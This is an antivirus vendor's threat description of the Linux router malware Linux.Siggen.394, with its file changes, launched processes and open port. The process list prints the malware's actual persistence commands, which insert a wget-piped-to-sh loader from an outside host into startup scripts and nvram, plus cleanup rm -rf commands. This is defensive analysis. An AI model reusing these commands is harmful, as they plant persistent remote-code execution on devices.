Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Linux.Siggen.394

Added to the Dr.Web virus database: 2018-01-29

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/init.d/rcS.bak
  • /etc/init.d/rcS
  • /etc/persistent/rc.poststart
Malicious functions:
Launches itself as a daemon
Modifies router settings:
  • /bin/nvram
  • /bin/cfgmtd
Launches processes:
  • sh -c cat /etc/init.d/rcS | grep -v \"wget\" > /etc/init.d/rcS.bak
  • cat /etc/init.d/rcS
  • grep -v wget
  • sh -c echo \"sleep 300 && wget -qO - http://fkd.derpcity.ru/nvr | sh &\" > /etc/init.d/rcS
  • sh -c cat /etc/init.d/rcS.bak >> /etc/init.d/rcS
  • cat /etc/init.d/rcS.bak
  • sh -c rm -rf /etc/init.d/rcS.bak
  • rm -rf /etc/init.d/rcS.bak
  • sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - http://fkd.derpcity.ru/nvr | sh\" > /dev/null 2>&1
  • sh -c nvram commit > /dev/null 2>&1
  • sh -c ( echo \"sleep 120 && wget -q -O - http://fkd.derpcity.ru/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1
  • sh -c chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1
  • chmod 755 /etc/persistent/rc.poststart
  • sh -c cfgmtd -w -p /etc/ > /dev/null 2>&1
  • sh -c ( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1
  • sh -c rm -rf /var/run/wgsh > /dev/null 2>&1 &
  • sh -c rm -rf /var/run/bbsh > /dev/null 2>&1 &
  • rm -rf /var/run/wgsh
  • sleep 432000
  • rm -rf /var/run/bbsh
  • sh -c rm -rf /var/run/tty0 > /dev/null 2>&1 &
  • rm -rf /var/run/tty0
  • sh -c rm -rf /var/run/tty1 > /dev/null 2>&1 &
  • rm -rf /var/run/tty1
  • sh -c rm -rf /var/run/tty2 > /dev/null 2>&1 &
  • rm -rf /var/run/tty2
  • sh -c rm -rf /var/run/tty3 > /dev/null 2>&1 &
  • sh -c rm -rf /var/run/tty4 > /dev/null 2>&1 &
  • rm -rf /var/run/tty3
  • sh -c rm -rf /var/run/tty5 > /dev/null 2>&1 &
  • rm -rf /var/run/tty4
  • rm -rf /var/run/tty5
  • sh -c rm -rf /tmp/tty0 > /dev/null 2>&1 &
  • sh -c rm -rf /tmp/tty1 > /dev/null 2>&1 &
  • rm -rf /tmp/tty0
  • sh -c rm -rf /tmp/tty2 > /dev/null 2>&1 &
  • rm -rf /tmp/tty1
Performs operations with the file system:
Deletes files:
  • /etc/init.d/rcS.bak"
  • /var/run/wgsh"
  • /var/run/bbsh"
  • /var/run/tty0"
  • /var/run/tty1"
  • /var/run/tty3"
  • /var/run/tty4"
  • /var/run/tty2"
  • /var/run/tty5"
  • /tmp/tty0"
  • /tmp/tty1"
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:63008
Other:
Collects OS information

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number